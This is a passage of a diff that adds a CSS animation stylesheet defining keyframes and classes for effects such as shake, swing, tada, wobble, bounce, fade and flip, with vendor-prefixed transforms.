translateX(0); + } + + 10%, 30%, 50%, 70%, 90% { + -webkit-transform: translateX(-10px); + transform: translateX(-10px); + } + + 20%, 40%, 60%, 80% { + -webkit-transform: translateX(10px); + transform: translateX(10px); + } +} + +@keyframes shake { + 0%, 100% { + -webkit-transform: translateX(0); + -ms-transform: translateX(0); + transform: translateX(0); + } + + 10%, 30%, 50%, 70%, 90% { + -webkit-transform: translateX(-10px); + -ms-transform: translateX(-10px); + transform: translateX(-10px); + } + + 20%, 40%, 60%, 80% { + -webkit-transform: translateX(10px); + -ms-transform: translateX(10px); + transform: translateX(10px); + } +} + +.shake { + -webkit-animation-name: shake; + animation-name: shake; +} + +@-webkit-keyframes swing { + 20% { + -webkit-transform: rotate(15deg); + transform: rotate(15deg); + } + + 40% { + -webkit-transform: rotate(-10deg); + transform: rotate(-10deg); + } + + 60% { + -webkit-transform: rotate(5deg); + transform: rotate(5deg); + } + + 80% { + -webkit-transform: rotate(-5deg); + transform: rotate(-5deg); + } + + 100% { + -webkit-transform: rotate(0deg); + transform: rotate(0deg); + } +} + +@keyframes swing { + 20% { + -webkit-transform: rotate(15deg); + -ms-transform: rotate(15deg); + transform: rotate(15deg); + } + + 40% { + -webkit-transform: rotate(-10deg); + -ms-transform: rotate(-10deg); + transform: rotate(-10deg); + } + + 60% { + -webkit-transform: rotate(5deg); + -ms-transform: rotate(5deg); + transform: rotate(5deg); + } + + 80% { + -webkit-transform: rotate(-5deg); + -ms-transform: rotate(-5deg); + transform: rotate(-5deg); + } + + 100% { + -webkit-transform: rotate(0deg); + -ms-transform: rotate(0deg); + transform: rotate(0deg); + } +} + +.swing { + -webkit-transform-origin: top center; + -ms-transform-origin: top center; + transform-origin: top center; + -webkit-animation-name: swing; + animation-name: swing; +} + +@-webkit-keyframes tada { + 0% { + -webkit-transform: scale(1); + transform: scale(1); + } + + 10%, 20% { + -webkit-transform: scale(0.9) rotate(-3deg); + transform: scale(0.9) rotate(-3deg); + } + + 30%, 50%, 70%, 90% { + -webkit-transform: scale(1.1) rotate(3deg); + transform: scale(1.1) rotate(3deg); + } + + 40%, 60%, 80% { + -webkit-transform: scale(1.1) rotate(-3deg); + transform: scale(1.1) rotate(-3deg); + } + + 100% { + -webkit-transform: scale(1) rotate(0); + transform: scale(1) rotate(0); + } +} + +@keyframes tada { + 0% { + -webkit-transform: scale(1); + -ms-transform: scale(1); + transform: scale(1); + } + + 10%, 20% { + -webkit-transform: scale(0.9) rotate(-3deg); + -ms-transform: scale(0.9) rotate(-3deg); + transform: scale(0.9) rotate(-3deg); + } + + 30%, 50%, 70%, 90% { + -webkit-transform: scale(1.1) rotate(3deg); + -ms-transform: scale(1.1) rotate(3deg); + transform: scale(1.1) rotate(3deg); + } + + 40%, 60%, 80% { + -webkit-transform: scale(1.1) rotate(-3deg); + -ms-transform: scale(1.1) rotate(-3deg); + transform: scale(1.1) rotate(-3deg); + } + + 100% { + -webkit-transform: scale(1) rotate(0); + -ms-transform: scale(1) rotate(0); + transform: scale(1) rotate(0); + } +} + +.tada { + -webkit-animation-name: tada; + animation-name: tada; +} + +/* originally authored by Nick Pettit - https://github.com/nickpettit/glide */ + +@-webkit-keyframes wobble { + 0% { + -webkit-transform: translateX(0%); + transform: translateX(0%); + } + + 15% { + -webkit-transform: translateX(-25%) rotate(-5deg); + transform: translateX(-25%) rotate(-5deg); + } + + 30% { + -webkit-transform: translateX(20%) rotate(3deg); + transform: translateX(20%) rotate(3deg); + } + + 45% { + -webkit-transform: translateX(-15%) rotate(-3deg); + transform: translateX(-15%) rotate(-3deg); + } + + 60% { + -webkit-transform: translateX(10%) rotate(2deg); + transform: translateX(10%) rotate(2deg); + } + + 75% { + -webkit-transform: translateX(-5%) rotate(-1deg); + transform: translateX(-5%) rotate(-1deg); + } + + 100% { + -webkit-transform: translateX(0%); + transform: translateX(0%); + } +} + +@keyframes wobble { + 0% { + -webkit-transform: translateX(0%); + -ms-transform: translateX(0%); + transform: translateX(0%); + } + + 15% { + -webkit-transform: translateX(-25%) rotate(-5deg); + -ms-transform: translateX(-25%) rotate(-5deg); + transform: translateX(-25%) rotate(-5deg); + } + + 30% { + -webkit-transform: translateX(20%) rotate(3deg); + -ms-transform: translateX(20%) rotate(3deg); + transform: translateX(20%) rotate(3deg); + } + + 45% { + -webkit-transform: translateX(-15%) rotate(-3deg); + -ms-transform: translateX(-15%) rotate(-3deg); + transform: translateX(-15%) rotate(-3deg); + } + + 60% { + -webkit-transform: translateX(10%) rotate(2deg); + -ms-transform: translateX(10%) rotate(2deg); + transform: translateX(10%) rotate(2deg); + } + + 75% { + -webkit-transform: translateX(-5%) rotate(-1deg); + -ms-transform: translateX(-5%) rotate(-1deg); + transform: translateX(-5%) rotate(-1deg); + } + + 100% { + -webkit-transform: translateX(0%); + -ms-transform: translateX(0%); + transform: translateX(0%); + } +} + +.wobble { + -webkit-animation-name: wobble; + animation-name: wobble; +} + +@-webkit-keyframes bounceIn { + 0% { + opacity: 0; + -webkit-transform: scale(.3); + transform: scale(.3); + } + + 50% { + opacity: 1; + -webkit-transform: scale(1.05); + transform: scale(1.05); + } + + 70% { + -webkit-transform: scale(.9); + transform: scale(.9); + } + + 100% { + -webkit-transform: scale(1); + transform: scale(1); + } +} + +@keyframes bounceIn { + 0% { + opacity: 0; + -webkit-transform: scale(.3); + -ms-transform: scale(.3); + transform: scale(.3); + } + + 50% { + opacity: 1; + -webkit-transform: scale(1.05); + -ms-transform: scale(1.05); + transform: scale(1.05); + } + + 70% { + -webkit-transform: scale(.9); + -ms-transform: scale(.9); + transform: scale(.9); + } + + 100% { + -webkit-transform: scale(1); + -ms-transform: scale(1); + transform: scale(1); + } +} + +.bounceIn { + -webkit-animation-name: bounceIn; + animation-name: bounceIn; +} + +@-webkit-keyframes bounceInDown { + 0% { + opacity: 0; + -webkit-transform: translateY(-2000px); + transform: translateY(-2000px); + } + + 60% { + opacity: 1; + -webkit-transform: translateY(30px); + transform: translateY(30px); + } + + 80% { + -webkit-transform: translateY(-10px); + transform: translateY(-10px); + } + + 100% { + -webkit-transform: translateY(0); + transform: translateY(0); + } +} + +@keyframes bounceInDown { + 0% { + opacity: 0; + -webkit-transform: translateY(-2000px); + -ms-transform: translateY(-2000px); + transform: translateY(-2000px); + } + + 60% { + opacity: 1; + -webkit-transform: translateY(30px); + -ms-transform: translateY(30px); + transform: translateY(30px); + } + + 80% { + -webkit-transform: translateY(-10px); + -ms-transform: translateY(-10px); + transform: translateY(-10px); + } + + 100% { + -webkit-transform: translateY(0); + -ms-transform: translateY(0); + transform: translateY(0); + } +} + +.bounceInDown { + -webkit-animation-name: bounceInDown; + animation-name: bounceInDown; +} + +@-webkit-keyframes bounceInLeft { + 0% { + opacity: 0; + -webkit-transform: translateX(-2000px); + transform: translateX(-2000px); + } + + 60% { + opacity: 1; + -webkit-transform: translateX(30px); + transform: translateX(30px); + } + + 80% { + -webkit-transform: translateX(-10px); + transform: translateX(-10px); + } + + 100% { + -webkit-transform: translateX(0); + transform: translateX(0); + } +} + +@keyframes bounceInLeft { + 0% { + opacity: 0; + -webkit-transform: translateX(-2000px); + -ms-transform: translateX(-2000px); + transform: translateX(-2000px); + } + + 60% { + opacity: 1; + -webkit-transform: translateX(30px); + -ms-transform: translateX(30px); + transform: translateX(30px); + } + + 80% { + -webkit-transform: translateX(-10px); + -ms-transform: translateX(-10px); + transform: translateX(-10px); + } + + 100% { + -webkit-transform: translateX(0); + -ms-transform: translateX(0); + transform: translateX(0); + } +} + +.bounceInLeft { + -webkit-animation-name: bounceInLeft; + animation-name: bounceInLeft; +} + +@-webkit-keyframes bounceInRight { + 0% { + opacity: 0; + -webkit-transform: translateX(2000px); + transform: translateX(2000px); + } + + 60% { + opacity: 1; + -webkit-transform: translateX(-30px); + transform: translateX(-30px); + } + + 80% { + -webkit-transform: translateX(10px); + transform: translateX(10px); + } + + 100% { + -webkit-transform: translateX(0); + transform: translateX(0); + } +} + +@keyframes bounceInRight { + 0% { + opacity: 0; + -webkit-transform: translateX(2000px); + -ms-transform: translateX(2000px); + transform: translateX(2000px); + } + + 60% { + opacity: 1; + -webkit-transform: translateX(-30px); + -ms-transform: translateX(-30px); + transform: translateX(-30px); + } + + 80% { + -webkit-transform: translateX(10px); + -ms-transform: translateX(10px); + transform: translateX(10px); + } + + 100% { + -webkit-transform: translateX(0); + -ms-transform: translateX(0); + transform: translateX(0); + } +} + +.bounceInRight { + -webkit-animation-name: bounceInRight; + animation-name: bounceInRight; +} + +@-webkit-keyframes bounceInUp { + 0% { + opacity: 0; + -webkit-transform: translateY(2000px); + transform: translateY(2000px); + } + + 60% { + opacity: 1; + -webkit-transform: translateY(-30px); + transform: translateY(-30px); + } + + 80% { + -webkit-transform: translateY(10px); + transform: translateY(10px); + } + + 100% { + -webkit-transform: translateY(0); + transform: translateY(0); + } +} + +@keyframes bounceInUp { + 0% { + opacity: 0; + -webkit-transform: translateY(2000px); + -ms-transform: translateY(2000px); + transform: translateY(2000px); + } + + 60% { + opacity: 1; + -webkit-transform: translateY(-30px); + -ms-transform: translateY(-30px); + transform: translateY(-30px); + } + + 80% { + -webkit-transform: translateY(10px); + -ms-transform: translateY(10px); + transform: translateY(10px); + } + + 100% { + -webkit-transform: translateY(0); + -ms-transform: translateY(0); + transform: translateY(0); + } +} + +.bounceInUp { + -webkit-animation-name: bounceInUp; + animation-name: bounceInUp; +} + +@-webkit-keyframes bounceOut { + 0% { + -webkit-transform: scale(1); + transform: scale(1); + } + + 25% { + -webkit-transform: scale(.95); + transform: scale(.95); + } + + 50% { + opacity: 1; + -webkit-transform: scale(1.1); + transform: scale(1.1); + } + + 100% { + opacity: 0; + -webkit-transform: scale(.3); + transform: scale(.3); + } +} + +@keyframes bounceOut { + 0% { + -webkit-transform: scale(1); + -ms-transform: scale(1); + transform: scale(1); + } + + 25% { + -webkit-transform: scale(.95); + -ms-transform: scale(.95); + transform: scale(.95); + } + + 50% { + opacity: 1; + -webkit-transform: scale(1.1); + -ms-transform: scale(1.1); + transform: scale(1.1); + } + + 100% { + opacity: 0; + -webkit-transform: scale(.3); + -ms-transform: scale(.3); + transform: scale(.3); + } +} + +.bounceOut { + -webkit-animation-name: bounceOut; + animation-name: bounceOut; +} + +@-webkit-keyframes bounceOutDown { + 0% { + -webkit-transform: translateY(0); + transform: translateY(0); + } + + 20% { + opacity: 1; + -webkit-transform: translateY(-20px); + transform: translateY(-20px); + } + + 100% { + opacity: 0; + -webkit-transform: translateY(2000px); + transform: translateY(2000px); + } +} + +@keyframes bounceOutDown { + 0% { + -webkit-transform: translateY(0); + -ms-transform: translateY(0); + transform: translateY(0); + } + + 20% { + opacity: 1; + -webkit-transform: translateY(-20px); + -ms-transform: translateY(-20px); + transform: translateY(-20px); + } + + 100% { + opacity: 0; + -webkit-transform: translateY(2000px); + -ms-transform: translateY(2000px); + transform: translateY(2000px); + } +} + +.bounceOutDown { + -webkit-animation-name: bounceOutDown; + animation-name: bounceOutDown; +} + +@-webkit-keyframes bounceOutLeft { + 0% { + -webkit-transform: translateX(0); + transform: translateX(0); + } + + 20% { + opacity: 1; + -webkit-transform: translateX(20px); + transform: translateX(20px); + } + + 100% { + opacity: 0; + -webkit-transform: translateX(-2000px); + transform: translateX(-2000px); + } +} + +@keyframes bounceOutLeft { + 0% { + -webkit-transform: translateX(0); + -ms-transform: translateX(0); + transform: translateX(0); + } + + 20% { + opacity: 1; + -webkit-transform: translateX(20px); + -ms-transform: translateX(20px); + transform: translateX(20px); + } + + 100% { + opacity: 0; + -webkit-transform: translateX(-2000px); + -ms-transform: translateX(-2000px); + transform: translateX(-2000px); + } +} + +.bounceOutLeft { + -webkit-animation-name: bounceOutLeft; + animation-name: bounceOutLeft; +} + +@-webkit-keyframes bounceOutRight { + 0% { + -webkit-transform: translateX(0); + transform: translateX(0); + } + + 20% { + opacity: 1; + -webkit-transform: translateX(-20px); + transform: translateX(-20px); + } + + 100% { + opacity: 0; + -webkit-transform: translateX(2000px); + transform: translateX(2000px); + } +} + +@keyframes bounceOutRight { + 0% { + -webkit-transform: translateX(0); + -ms-transform: translateX(0); + transform: translateX(0); + } + + 20% { + opacity: 1; + -webkit-transform: translateX(-20px); + -ms-transform: translateX(-20px); + transform: translateX(-20px); + } + + 100% { + opacity: 0; + -webkit-transform: translateX(2000px); + -ms-transform: translateX(2000px); + transform: translateX(2000px); + } +} + +.bounceOutRight { + -webkit-animation-name: bounceOutRight; + animation-name: bounceOutRight; +} + +@-webkit-keyframes bounceOutUp { + 0% { + -webkit-transform: translateY(0); + transform: translateY(0); + } + + 20% { + opacity: 1; + -webkit-transform: translateY(20px); + transform: translateY(20px); + } + + 100% { + opacity: 0; + -webkit-transform: translateY(-2000px); + transform: translateY(-2000px); + } +} + +@keyframes bounceOutUp { + 0% { + -webkit-transform: translateY(0); + -ms-transform: translateY(0); + transform: translateY(0); + } + + 20% { + opacity: 1; + -webkit-transform: translateY(20px); + -ms-transform: translateY(20px); + transform: translateY(20px); + } + + 100% { + opacity: 0; + -webkit-transform: translateY(-2000px); + -ms-transform: translateY(-2000px); + transform: translateY(-2000px); + } +} + +.bounceOutUp { + -webkit-animation-name: bounceOutUp; + animation-name: bounceOutUp; +} + +@-webkit-keyframes fadeIn { + 0% { + opacity: 0; + } + + 100% { + opacity: 1; + } +} + +@keyframes fadeIn { + 0% { + opacity: 0; + } + + 100% { + opacity: 1; + } +} + +.fadeIn { + -webkit-animation-name: fadeIn; + animation-name: fadeIn; +} + +@-webkit-keyframes fadeInDown { + 0% { + opacity: 0; + -webkit-transform: translateY(-20px); + transform: translateY(-20px); + } + + 100% { + opacity: 1; + -webkit-transform: translateY(0); + transform: translateY(0); + } +} + +@keyframes fadeInDown { + 0% { + opacity: 0; + -webkit-transform: translateY(-20px); + -ms-transform: translateY(-20px); + transform: translateY(-20px); + } + + 100% { + opacity: 1; + -webkit-transform: translateY(0); + -ms-transform: translateY(0); + transform: translateY(0); + } +} + +.fadeInDown { + -webkit-animation-name: fadeInDown; + animation-name: fadeInDown; +} + +@-webkit-keyframes fadeInDownBig { + 0% { + opacity: 0; + -webkit-transform: translateY(-2000px); + transform: translateY(-2000px); + } + + 100% { + opacity: 1; + -webkit-transform: translateY(0); + transform: translateY(0); + } +} + +@keyframes fadeInDownBig { + 0% { + opacity: 0; + -webkit-transform: translateY(-2000px); + -ms-transform: translateY(-2000px); + transform: translateY(-2000px); + } + + 100% { + opacity: 1; + -webkit-transform: translateY(0); + -ms-transform: translateY(0); + transform: translateY(0); + } +} + +.fadeInDownBig { + -webkit-animation-name: fadeInDownBig; + animation-name: fadeInDownBig; +} + +@-webkit-keyframes fadeInLeft { + 0% { + opacity: 0; + -webkit-transform: translateX(-20px); + transform: translateX(-20px); + } + + 100% { + opacity: 1; + -webkit-transform: translateX(0); + transform: translateX(0); + } +} + +@keyframes fadeInLeft { + 0% { + opacity: 0; + -webkit-transform: translateX(-20px); + -ms-transform: translateX(-20px); + transform: translateX(-20px); + } + + 100% { + opacity: 1; + -webkit-transform: translateX(0); + -ms-transform: translateX(0); + transform: translateX(0); + } +} + +.fadeInLeft { + -webkit-animation-name: fadeInLeft; + animation-name: fadeInLeft; +} + +@-webkit-keyframes fadeInLeftBig { + 0% { + opacity: 0; + -webkit-transform: translateX(-2000px); + transform: translateX(-2000px); + } + + 100% { + opacity: 1; + -webkit-transform: translateX(0); + transform: translateX(0); + } +} + +@keyframes fadeInLeftBig { + 0% { + opacity: 0; + -webkit-transform: translateX(-2000px); + -ms-transform: translateX(-2000px); + transform: translateX(-2000px); + } + + 100% { + opacity: 1; + -webkit-transform: translateX(0); + -ms-transform: translateX(0); + transform: translateX(0); + } +} + +.fadeInLeftBig { + -webkit-animation-name: fadeInLeftBig; + animation-name: fadeInLeftBig; +} + +@-webkit-keyframes fadeInRight { + 0% { + opacity: 0; + -webkit-transform: translateX(20px); + transform: translateX(20px); + } + + 100% { + opacity: 1; + -webkit-transform: translateX(0); + transform: translateX(0); + } +} + +@keyframes fadeInRight { + 0% { + opacity: 0; + -webkit-transform: translateX(20px); + -ms-transform: translateX(20px); + transform: translateX(20px); + } + + 100% { + opacity: 1; + -webkit-transform: translateX(0); + -ms-transform: translateX(0); + transform: translateX(0); + } +} + +.fadeInRight { + -webkit-animation-name: fadeInRight; + animation-name: fadeInRight; +} + +@-webkit-keyframes fadeInRightBig { + 0% { + opacity: 0; + -webkit-transform: translateX(2000px); + transform: translateX(2000px); + } + + 100% { + opacity: 1; + -webkit-transform: translateX(0); + transform: translateX(0); + } +} + +@keyframes fadeInRightBig { + 0% { + opacity: 0; + -webkit-transform: translateX(2000px); + -ms-transform: translateX(2000px); + transform: translateX(2000px); + } + + 100% { + opacity: 1; + -webkit-transform: translateX(0); + -ms-transform: translateX(0); + transform: translateX(0); + } +} + +.fadeInRightBig { + -webkit-animation-name: fadeInRightBig; + animation-name: fadeInRightBig; +} + +@-webkit-keyframes fadeInUp { + 0% { + opacity: 0; + -webkit-transform: translateY(20px); + transform: translateY(20px); + } + + 100% { + opacity: 1; + -webkit-transform: translateY(0); + transform: translateY(0); + } +} + +@keyframes fadeInUp { + 0% { + opacity: 0; + -webkit-transform: translateY(20px); + -ms-transform: translateY(20px); + transform: translateY(20px); + } + + 100% { + opacity: 1; + -webkit-transform: translateY(0); + -ms-transform: translateY(0); + transform: translateY(0); + } +} + +.fadeInUp { + -webkit-animation-name: fadeInUp; + animation-name: fadeInUp; +} + +@-webkit-keyframes fadeInUpBig { + 0% { + opacity: 0; + -webkit-transform: translateY(2000px); + transform: translateY(2000px); + } + + 100% { + opacity: 1; + -webkit-transform: translateY(0); + transform: translateY(0); + } +} + +@keyframes fadeInUpBig { + 0% { + opacity: 0; + -webkit-transform: translateY(2000px); + -ms-transform: translateY(2000px); + transform: translateY(2000px); + } + + 100% { + opacity: 1; + -webkit-transform: translateY(0); + -ms-transform: translateY(0); + transform: translateY(0); + } +} + +.fadeInUpBig { + -webkit-animation-name: fadeInUpBig; + animation-name: fadeInUpBig; +} + +@-webkit-keyframes fadeOut { + 0% { + opacity: 1; + } + + 100% { + opacity: 0; + } +} + +@keyframes fadeOut { + 0% { + opacity: 1; + } + + 100% { + opacity: 0; + } +} + +.fadeOut { + -webkit-animation-name: fadeOut; + animation-name: fadeOut; +} + +@-webkit-keyframes fadeOutDown { + 0% { + opacity: 1; + -webkit-transform: translateY(0); + transform: translateY(0); + } + + 100% { + opacity: 0; + -webkit-transform: translateY(20px); + transform: translateY(20px); + } +} + +@keyframes fadeOutDown { + 0% { + opacity: 1; + -webkit-transform: translateY(0); + -ms-transform: translateY(0); + transform: translateY(0); + } + + 100% { + opacity: 0; + -webkit-transform: translateY(20px); + -ms-transform: translateY(20px); + transform: translateY(20px); + } +} + +.fadeOutDown { + -webkit-animation-name: fadeOutDown; + animation-name: fadeOutDown; +} + +@-webkit-keyframes fadeOutDownBig { + 0% { + opacity: 1; + -webkit-transform: translateY(0); + transform: translateY(0); + } + + 100% { + opacity: 0; + -webkit-transform: translateY(2000px); + transform: translateY(2000px); + } +} + +@keyframes fadeOutDownBig { + 0% { + opacity: 1; + -webkit-transform: translateY(0); + -ms-transform: translateY(0); + transform: translateY(0); + } + + 100% { + opacity: 0; + -webkit-transform: translateY(2000px); + -ms-transform: translateY(2000px); + transform: translateY(2000px); + } +} + +.fadeOutDownBig { + -webkit-animation-name: fadeOutDownBig; + animation-name: fadeOutDownBig; +} + +@-webkit-keyframes fadeOutLeft { + 0% { + opacity: 1; + -webkit-transform: translateX(0); + transform: translateX(0); + } + + 100% { + opacity: 0; + -webkit-transform: translateX(-20px); + transform: translateX(-20px); + } +} + +@keyframes fadeOutLeft { + 0% { + opacity: 1; + -webkit-transform: translateX(0); + -ms-transform: translateX(0); + transform: translateX(0); + } + + 100% { + opacity: 0; + -webkit-transform: translateX(-20px); + -ms-transform: translateX(-20px); + transform: translateX(-20px); + } +} + +.fadeOutLeft { + -webkit-animation-name: fadeOutLeft; + animation-name: fadeOutLeft; +} + +@-webkit-keyframes fadeOutLeftBig { + 0% { + opacity: 1; + -webkit-transform: translateX(0); + transform: translateX(0); + } + + 100% { + opacity: 0; + -webkit-transform: translateX(-2000px); + transform: translateX(-2000px); + } +} + +@keyframes fadeOutLeftBig { + 0% { + opacity: 1; + -webkit-transform: translateX(0); + -ms-transform: translateX(0); + transform: translateX(0); + } + + 100% { + opacity: 0; + -webkit-transform: translateX(-2000px); + -ms-transform: translateX(-2000px); + transform: translateX(-2000px); + } +} + +.fadeOutLeftBig { + -webkit-animation-name: fadeOutLeftBig; + animation-name: fadeOutLeftBig; +} + +@-webkit-keyframes fadeOutRight { + 0% { + opacity: 1; + -webkit-transform: translateX(0); + transform: translateX(0); + } + + 100% { + opacity: 0; + -webkit-transform: translateX(20px); + transform: translateX(20px); + } +} + +@keyframes fadeOutRight { + 0% { + opacity: 1; + -webkit-transform: translateX(0); + -ms-transform: translateX(0); + transform: translateX(0); + } + + 100% { + opacity: 0; + -webkit-transform: translateX(20px); + -ms-transform: translateX(20px); + transform: translateX(20px); + } +} + +.fadeOutRight { + -webkit-animation-name: fadeOutRight; + animation-name: fadeOutRight; +} + +@-webkit-keyframes fadeOutRightBig { + 0% { + opacity: 1; + -webkit-transform: translateX(0); + transform: translateX(0); + } + + 100% { + opacity: 0; + -webkit-transform: translateX(2000px); + transform: translateX(2000px); + } +} + +@keyframes fadeOutRightBig { + 0% { + opacity: 1; + -webkit-transform: translateX(0); + -ms-transform: translateX(0); + transform: translateX(0); + } + + 100% { + opacity: 0; + -webkit-transform: translateX(2000px); + -ms-transform: translateX(2000px); + transform: translateX(2000px); + } +} + +.fadeOutRightBig { + -webkit-animation-name: fadeOutRightBig; + animation-name: fadeOutRightBig; +} + +@-webkit-keyframes fadeOutUp { + 0% { + opacity: 1; + -webkit-transform: translateY(0); + transform: translateY(0); + } + + 100% { + opacity: 0; + -webkit-transform: translateY(-20px); + transform: translateY(-20px); + } +} + +@keyframes fadeOutUp { + 0% { + opacity: 1; + -webkit-transform: translateY(0); + -ms-transform: translateY(0); + transform: translateY(0); + } + + 100% { + opacity: 0; + -webkit-transform: translateY(-20px); + -ms-transform: translateY(-20px); + transform: translateY(-20px); + } +} + +.fadeOutUp { + -webkit-animation-name: fadeOutUp; + animation-name: fadeOutUp; +} + +@-webkit-keyframes fadeOutUpBig { + 0% { + opacity: 1; + -webkit-transform: translateY(0); + transform: translateY(0); + } + + 100% { + opacity: 0; + -webkit-transform: translateY(-2000px); + transform: translateY(-2000px); + } +} + +@keyframes fadeOutUpBig { + 0% { + opacity: 1; + -webkit-transform: translateY(0); + -ms-transform: translateY(0); + transform: translateY(0); + } + + 100% { + opacity: 0; + -webkit-transform: translateY(-2000px); + -ms-transform: translateY(-2000px); + transform: translateY(-2000px); + } +} + +.fadeOutUpBig { + -webkit-animation-name: fadeOutUpBig; + animation-name: fadeOutUpBig; +} + +@-webkit-keyframes flip { + 0% { + -webkit-transform: perspective(400px) translateZ(0) rotateY(0) scale(1); + transform: perspective(400px) translateZ(0) rotateY(0) scale(1); + -webkit-animation-timing-function: ease-out; + animation-timing-function: ease-out; + } + + 40% { + -webkit-transform: perspective(400px) translateZ(150px) rotateY(170deg) scale(1); + transform: perspective(400px) translateZ(150px) rotateY(170deg) scale(1); + -webkit-animation-timing-function: ease-out; + animation-timing-function: ease-out; + } + + 50% { + -webkit-transform: perspective(400px) translateZ(150px) rotateY(190deg) scale(1); + transform: perspective(400px) translateZ(150px) rotateY(190deg) scale(1); + -webkit-animation-timing-function: ease-in; + animation-timing-function: ease-in; + } + + 80% { + -webkit-transform: perspective(400px) translateZ(0) rotateY(360deg) scale(.95); + transform: perspective(400px) translateZ(0) rotateY(360deg) scale(.95); + -webkit-animation-timing-function: ease-in; + animation-timing-function: ease-in; + } + + 100% { + -webkit-transform: perspective(400px) translateZ(0) rotateY(360deg) scale(1); + transform: perspective(400px) translateZ(0) rotateY(360deg) scale(1); + -webkit-animation-timing-function: ease-in; + animation-timing-function: ease-in; + } +} + +@keyframes flip { + 0% { + -webkit-transform: perspective(400px) translateZ(0) rotateY(0) scale(1); + -ms-transform: perspective(400px) translateZ(0) rotateY(0) scale(1); + transform: perspective(400px) translateZ(0) rotateY(0) scale(1); + -webkit-animation-timing-function: ease-out; + animation-timing-function: ease-out; + } + + 40% { + -webkit-transform: perspective(400px) translateZ(150px) rotateY(170deg) scale(1); + -ms-transform: perspective(400px) translateZ(150px) rotateY(170deg) scale(1); + transform: perspective(400px) translateZ(150px) rotateY(170deg) scale(1); + -webkit-animation-timing-function: ease-out; + animation-timing-function: ease-out; + } + + 50% { + -webkit-transform: perspective(400px) translateZ(150px) rotateY(190deg) scale(1); + -ms-transform: perspective(400px) translateZ(150px) rotateY(190deg) scale(1); + transform: perspective(400px) translateZ(150px) rotateY(190deg) scale(1); + -webkit-animation-timing-function: ease-in; + animation-timing-function: ease-in; + } + + 80% { + -webkit-transform: perspective(400px) translateZ(0) rotateY(360deg) scale(.95); + -ms-transform: perspective(400px) translateZ(0) rotateY(360deg) scale(.95); + transform: perspective(400px) translateZ(0) rotateY(360deg) scale(.95); + -webkit-animation-timing-function: ease-in; + animation-timing-function: ease-in; + } + + 100% { + -webkit-transform: perspective(400px) translateZ(0) rotateY(360deg) scale(1); + -ms-transform: perspective(400px) translateZ(0) rotateY(360deg) scale(1); + transform: perspective(400px) translateZ(0) rotateY(360deg) scale(1); + -webkit-animation-timing-function: ease-in; + animation-timing-function: ease-in; + } +} + +.animated.flip { + -webkit-backface-visibility: visible; + -ms-backface-visibility: visible; + backface-visibility: visible; + -webkit-animation-name: flip; + animation-name: flip; +} + +@-webkit-keyframes flipInX { + 0% { + -webkit-transform: perspective(400px) rotateX(90deg); + transform: perspective(400px) rotateX(90deg); + opacity: 0; + } + + 40% { + -webkit-transform: perspective(400px) rotateX(-10deg); + transform: perspective(400px) rotateX(-10deg); + } + + 70% { + -webkit-transform: perspective(400px) rotateX(10deg); + transform: perspective(400px) rotateX(10deg); + } + + 100% { + -webkit-transform: perspective(400px) rotateX(0deg); + transform: perspective(400px) rotateX(0deg); + opacity: 1; + } +} + +@keyframes flipInX { + 0% { + -webkit-transform: perspective(400px) rotateX(90deg); + -ms-transform: perspective(400px) rotateX(90deg); + transform: perspective(400px) rotateX(90deg); + opacity: 0; + } + + 40% { + -webkit-transform: perspective(400px) rotateX(-10deg); + -ms-transform: perspective(400px) rotateX(-10deg); + transform: perspective(400px) rotateX(-10deg); + } + + 70% { + -webkit-transform: perspective(400px) rotateX(10deg); + -ms-transform: perspective(400px) rotateX(10deg); + transform: perspective(400px) rotateX(10deg); + } + + 100% { + -webkit-transform: perspective(400px) rotateX(0deg); + -ms-transform: perspective(400px) rotateX(0deg); + transform: perspective(400px) rotateX(0deg); + opacity: 1; + } +} + +.flipInX { + -webkit-backface-visibility: visible !important; + -ms-backface-visibility: visible !important; + backface-visibility: visible !important; + -webkit-animation-name: flipInX; + animation-name: flipInX; +} + +@-webkit-keyframes flipInY { + 0% { + -webkit-transform: perspective(400px) rotateY(90deg); + transform: perspective(400px) rotateY(90deg); + opacity: 0; + } + + 40% { + -webkit-transform: perspective(400px) rotateY(-10deg); + transform: perspective(400px) rotateY(-10deg); + } + + 70% { + -webkit-transform: perspective(400px) rotateY(10deg); + transform: perspective(400px) rotateY(10deg); + } + + 100% { + -webkit-transform: perspective(400px) rotateY(0deg); + transform: perspective(400px) rotateY(0deg); + opacity: 1; + } +} + +@keyframes flipInY { + 0% { + -webkit-transform: perspective(400px) rotateY(90deg); + -ms-transform: perspective(400px) rotateY(90deg); + transform: perspective(400px) rotateY(90deg); + opacity: 0; + } + + 40% { + -webkit-transform: perspective(400px) rotateY(-10deg); + -ms-transform: perspective(400px) rotateY(-10deg); + transform: perspective(400px) rotateY(-10deg); + } + + 70% { + -webkit-transform: perspective(400px) rotateY(10deg); + -ms-transform: perspective(400px) rotateY(10deg); + transform: perspective(400px) rotateY(10deg); + } + + 100% { + -webkit-transform: perspective(400px) rotateY(0deg); + -ms-transform: perspective(400px) rotateY(0deg); + transform: perspective(400px) rotateY(0deg); + opacity: 1; + } +} + +.flipInY { + -webkit-backface-visibility: visible !important; + -ms-backface-visibility: visible !important; + backface-visibility: visible !important; + -webkit-animation-name: flipInY; + animation-name: flipInY; +} + +@-webkit-keyframes flipOutX { + 0% { + -webkit-transform: perspective(400px) rotateX(0deg); + transform: perspective(400px) rotateX(0deg); + opacity: 1; + } + + 100% { + -webkit-transform: perspective(400px) rotateX(90deg); + transform: perspective(400px) rotateX(90deg); + opacity: 0; + } +} + +@keyframes flipOutX { + 0% { + -webkit-transform: perspective(400px) rotateX(0deg); + -ms-transform: perspective(400px) rotateX(0deg); + transform: perspective(400px) rotateX(0deg); + opacity: 1; + } + + 100% { + -webkit-transform: perspective(400px) rotateX(90deg); + -ms-transform: perspective(400px) rotateX(90deg); + transform: perspective(400px) rotateX(90deg); + opacity: 0; + } +} + +.flipOutX { + -webkit-animation-name: flipOutX; + animation-name: flipOutX; + -webkit-backface-visibility: visible !important; + -ms-backface-visibility: visible !important; + backface-visibility: visible !important; +} + +@-webkit-keyframes flipOutY { + 0% { + -webkit-transform: perspective(400px) rotateY(0deg); + transform: perspective(400px) rotateY(0deg); + opacity: 1; + } + + 100% { + -webkit-transform: perspective(400px) rotateY(90deg); + transform: perspective(400px) rotateY(90deg); + opacity: 0; + } +} + +@keyframes flipOutY { + 0% { + -webkit-transform: perspective(400px) rotateY(0deg); + -ms-transform: perspective(400px) rotateY(0deg); + transform: perspective(400px) rotateY(0deg); + opacity: 1; + } + + 100% { + -webkit-transform: perspective(400px) rotateY(90deg); + -ms-transform: perspective(400px) 